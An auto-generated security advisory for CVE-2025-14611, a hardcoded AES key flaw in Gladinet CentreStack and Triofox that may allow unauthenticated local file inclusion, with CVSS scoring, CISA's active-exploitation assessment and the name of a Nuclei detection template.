CVE-2025-14611: Gladinet CentreStack and Triofox Hard Coded Cryptographic Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Gladinet CentreStack and Triofox prior to version 16.12.10420.56791 used hardcoded values for their implementation of the AES cryptoscheme. This degrades security for public exposed endpoints that may make use of it and may offer arbitrary local file inclusion when provided a specially crafted request without authentication. This opens the door for future exploitation and can be leveraged with previous vulnerabilities to gain a full system compromise.
Description quoted from the CVE record (assigned by Huntress, published 2025-12-12).
Weakness: CWE-798 Use of Hard-coded Credentials
How it can be exploited
Exploitable over the network with high attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality low, integrity none, availability none. CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:H/E:A
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

How to detect it
Nuclei template (active check)
Gladinet CentreStack - Hard-coded Credentials
Gladinet CentreStack and Triofox prior to version 16.12.10420.56791 used hardcoded values for their implementation of the AES cryptoscheme. This degrades security for public exposed endpoints that may make use of it and may offer arbitrary local file inclusion when provided a specially crafted request without authentication.
